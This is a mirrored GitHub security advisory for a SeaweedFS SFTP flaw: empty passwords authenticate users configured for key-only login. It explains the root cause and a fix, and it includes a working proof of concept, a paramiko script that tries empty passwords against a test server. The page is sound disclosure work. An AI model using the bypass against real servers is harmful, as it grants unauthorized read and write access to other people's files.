GHSA-Q9RJ-8P2J-WHG4
SFTP accepts an empty password for any user configured without a password (public-key-only users)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-Q9RJ-8P2J-WHG4 divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The SeaweedFS SFTP server accepts an empty password as valid for any user whose stored password is empty — i.e. every user provisioned for public-key (or certificate) authentication only. Because `password` is in the default `-sftp.authMethods` list (`"password,publickey"`), a remote attacker who knows only a valid username can authenticate with a zero-length password and obtains a full SFTP session with that user's permissions and home-directory scope. No knowledge of any key or secret is required.
CWE: CWE-287 Improper Authentication (contributing: CWE-1284 improper validation of the length of the compared secret).
Proposed CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` = 9.1 Critical.
Affected: `<= 4.45` (`github.com/seaweedfs/seaweedfs`, Go). `weed sftp`, `weed server -sftp`, `weed filer -sftp`.
Root cause
`weed/sftpd/user/filestore.go`:
func (s *FileStore) ValidatePassword(username string, password []byte) bool {
user, err := s.GetUser(username)
if err != nil {
return false
}
return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1
}`subtle.ConstantTimeCompare` returns `1` when both slices have equal length and content. For a public-key-only user `user.Password == ""`, so when the client sends an empty password the two zero-length slices compare equal and the function returns `true`.
Nothing upstream rejects the empty password: `weed/sftpd/auth/password.go` `PasswordAuthenticator.Authenticate` calls `ValidatePassword` directly with whatever the client sent; `weed/sftpd/auth/auth.go` wires `config.PasswordCallback` whenever `"password"` is in `enabledAuthMethods` (the default); and `golang.org/x/crypto/ssh` invokes `PasswordCallback` for a `password` auth request regardless of password length. `ValidatePublicKey` is not affected (an empty `PublicKeys` slice makes its loop return `false`).
Prerequisites
- Network reach to the SFTP port (default `2022`).
- `password` present in `-sftp.authMethods` (default is `password,publickey`).
- At least one SFTP user configured without a password — the normal setup for key-based auth: the user-store JSON has `password` as optional and `publicKeys` as the alternative.
- Knowledge of a valid username (often predictable — matches the home dir / tenant / service name).
Impact
Full SFTP session as the targeted user: list / read / write / delete / rename within that user's permitted paths. For a user whose `permissions` grant broad access (or `homeDir: "/"`), this is read/write over the whole filer namespace.
Proof of concept
`users.json` — one key-only user (no `password`), one with a password:
[
{ "username": "keyonly", "publicKeys": ["ssh-ed25519 AAAA..."],
"homeDir": "/sftp/keyonly", "uid": 1001, "gid": 1001,
"permissions": { "/sftp/keyonly": ["read","write","list"] } },
{ "username": "haspass", "password": "s3cret",
"homeDir": "/sftp/haspass", "uid": 1002, "gid": 1002,
"permissions": { "/sftp/haspass": ["read","write","list"] } }
]ssh-keygen -t ed25519 -N '' -f hostkey && mkdir hk && mv hostkey hk/
weed server -dir=/tmp/sw-data -ip=127.0.0.1 -filer -sftp -sftp.port=2022 \
-sftp.hostKeysFolder=./hk -sftp.userStoreFile=./users.jsonimport paramiko
for user, pw in [("keyonly",""), ("keyonly","wrong"), ("haspass",""), ("haspass","s3cret")]:
t = paramiko.Transport(("127.0.0.1", 2022)); t.connect(hostkey=None)
try:
t.auth_password(user, pw); ok = t.is_authenticated()
except paramiko.ssh_exception.AuthenticationException:
ok = False
print(user, repr(pw), "->", "OK" if ok else "denied"); t.close()Observed:
keyonly '' -> OK <-- bug: empty password authenticated a key-only user
keyonly 'wrong' -> denied
haspass '' -> denied
haspass 's3cret'-> OKPost-auth, an `SFTPClient` over the same transport lists `/`, writes `/proof.txt`, and reads it back — full file access as `keyonly`.
Suggested fix
Reject empty secrets explicitly in `weed/sftpd/user/filestore.go`:
func (s *FileStore) ValidatePassword(username string, password []byte) bool {
user, err := s.GetUser(username)
if err != nil {
return false
}
if len(user.Password) == 0 || len(password) == 0 {
return false
}
return subtle.ConstantTimeCompare([]byte(user.Password), password) == 1
}Defense in depth: also reject a zero-length password in `PasswordAuthenticator.Authenticate` before calling the store, and warn at startup when a user has neither a password nor any public key / CA trust while `password` auth is enabled.
Not a duplicate
Distinct from CVE-2026-77317 (SFTP path-ACL authorization). This is an authentication bypass; none of the published SeaweedFS advisories touch SFTP authentication.
---
Reporter: Harsh Parmar (@kaii-k)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-q9rj-8p2j-whg4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
